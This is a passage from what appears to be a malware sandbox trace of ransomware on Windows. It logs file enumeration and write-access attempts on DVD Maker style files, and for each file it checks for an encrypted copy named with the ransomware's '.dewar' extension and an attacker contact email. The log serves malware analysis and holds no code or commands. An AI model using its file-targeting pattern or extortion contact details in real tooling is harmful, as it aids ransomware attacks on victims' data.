maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.359] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0255.359] CloseHandle (hObject=0x1e0) returned 1 [0255.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp")) returned 0x20 [0255.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp")) returned 0x20 [0255.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.360] SetEvent (hEvent=0x118) returned 1 [0255.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.361] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0255.361] CloseHandle (hObject=0x1e0) returned 1 [0255.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp")) returned 0x20 [0255.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp")) returned 0x20 [0255.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.364] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0255.364] CloseHandle (hObject=0x1e0) returned 1 [0255.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp")) returned 0x20 [0255.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp")) returned 0x20 [0255.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.367] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0255.367] CloseHandle (hObject=0x1e0) returned 1 [0255.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp")) returned 0x20 [0255.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp")) returned 0x20 [0255.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.376] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4570) returned 1 [0255.376] CloseHandle (hObject=0x1e0) returned 1 [0255.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png")) returned 0x20 [0255.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png")) returned 0x20 [0255.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.379] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2820) returned 1 [0255.379] CloseHandle (hObject=0x1e0) returned 1 [0255.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png")) returned 0x20 [0255.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png")) returned 0x20 [0255.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.528] SetEvent (hEvent=0x118) returned 1 [0255.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.531] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=6431) returned 1 [0255.531] CloseHandle (hObject=0x1e0) returned 1 [0255.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png")) returned 0x20 [0255.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png")) returned 0x20 [0255.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.532] SetEvent (hEvent=0x118) returned 1 [0255.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.534] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5088) returned 1 [0255.534] CloseHandle (hObject=0x1e0) returned 1 [0255.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png")) returned 0x20 [0255.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png")) returned 0x20 [0255.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.537] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3130) returned 1 [0255.537] CloseHandle (hObject=0x1e0) returned 1 [0255.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png")) returned 0x20 [0255.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png")) returned 0x20 [0255.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.544] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5025) returned 1 [0255.545] CloseHandle (hObject=0x1e0) returned 1 [0255.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png")) returned 0x20 [0255.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png")) returned 0x20 [0255.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.547] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3118) returned 1 [0255.547] CloseHandle (hObject=0x1e0) returned 1 [0255.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png")) returned 0x20 [0255.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png")) returned 0x20 [0255.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.549] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4955) returned 1 [0255.549] CloseHandle (hObject=0x1e0) returned 1 [0255.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png")) returned 0x20 [0255.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png")) returned 0x20 [0255.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.552] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3081) returned 1 [0255.552] CloseHandle (hObject=0x1e0) returned 1 [0255.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png")) returned 0x20 [0255.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png")) returned 0x20 [0255.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.555] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=543910) returned 1 [0255.555] CloseHandle (hObject=0x1e0) returned 1 [0255.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv")) returned 0x20 [0255.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv")) returned 0x20 [0255.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd 